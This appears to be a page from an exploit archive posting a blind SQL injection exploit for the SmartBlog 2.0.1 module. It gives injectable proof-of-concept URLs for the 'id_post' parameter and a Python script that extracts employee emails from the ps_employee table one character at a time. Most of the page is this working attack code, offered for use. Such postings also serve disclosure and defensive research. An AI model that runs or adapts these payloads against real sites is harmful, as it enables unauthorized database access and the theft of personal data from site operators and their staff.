exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SmartBlog 2.0.1 Blind SQL Injection

SmartBlog 2.0.1 Blind SQL Injection
Posted Nov 6, 2020
Authored by C0wnuts

SmartBlog version 2.0.1 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 1b9bc7c4cc68e2eaf0ccbd5ae61da8c71602a8b848f30ac1ee4bd1b5864513fe

SmartBlog 2.0.1 Blind SQL Injection

Change Mirror Download
# Exploit Title: SmartBlog 2.0.1 - 'id_post' Blind SQL injection
# Date: 2020-11-05
# Exploit Author: C0wnuts
# Vendor Homepage: https://github.com/smartdatasoft/smartblog
# Version: 2.0.1
# Tested on: Linux

# Description : A blind SQL injection is present in the "id_post" parameter of the "details" controller. It allows you to extract information from the database by means of successive character tests.

# POC:

# -------------------------
# http://localhost/[script_path]/index.php?fc=module&module=smartblog&id_post=<valid post number> or {SQL}&controller=details
# -------------------------
# Exemple:

# 1. Test if the first character of the database name is "t":
# http://localhost/index.php?fc=module&module=smartblog&id_post=1 or substring(DATABASE(),1,1)='t'&controller=details

# 2. Test if the first character of the email of the first account is "a":
# http://localhost/index.php?fc=module&module=smartblog&id_post=1 or substring((SELECT email FROM ps_employee LIMIT 1 offset 0),1,1)='a'&controller=details
# -------------------------
# Script PYTHON (python 3)


import requests, string
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

initialUrl = 'https://localhost.com/index.php?fc=module&module=smartblog&id_post=4329824944'
endOfUrl = '&controller=details'
# Change this to http:// if the website is not in https
protocol = "https://"
offset = 0
endData = 0
end = 0
iteration = 0
charList = string.printable

# The character returned by the db when you reach the end of the extracted information. In my case that was "+" but it can be "\", or " " or whatever. /!\ Just test and hange this value according to your needs /!\
endChar = "+"
# The length of the page when the SQLI failed. In my case that was 16094. If the lenght of the content of the page is higher than this value is that the character tested is the right one. /!\ Just test and hange this value according to your needs /!\.
FailPageLen = 17000


# Mysql is not case sensitive but if the db used by the website is cse sensitive remove the following line
charList = charList.replace("ABCDEFGHIJKLMNOPQRSTUVWXYZ","")

while endData == 0:
contentInfo = ""
iteration = 0
end = 0
while end == 0:
iteration = iteration + 1
for elem in charList:
url = initialUrl

#This request get email of all employee. Replace the request by whatever you want but keep in mind that the script extract information 1 character by 1 character then you need to keep '+str(offset)+' and substring(,'+str(iteration)+',1). "elem" is the character tested
request = '%20or%20substring((SELECT%20email%20FROM%20ps_employee%20LIMIT%201%20offset%20'+str(offset)+'),'+str(iteration)+',1)=%27'+elem+'%27'

url += request + endOfUrl
retry_strategy = Retry(
total = 30,
backoff_factor = 0.2,
method_whitelist = ["GET" "POST"]
)
adapter = HTTPAdapter(max_retries=retry_strategy)
http = requests.Session()
http.mount(protocol, adapter)
response = http.get("{}".format(url))

if len(response.content) > FailPageLen:
print(contentInfo)
if(elem == endChar):
end = 1
if contentInfo == "":
endData = 1
else:
contentInfo = contentInfo + elem
break
if contentInfo == "":
endData = 1
print(contentInfo)
offset = offset + 1
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close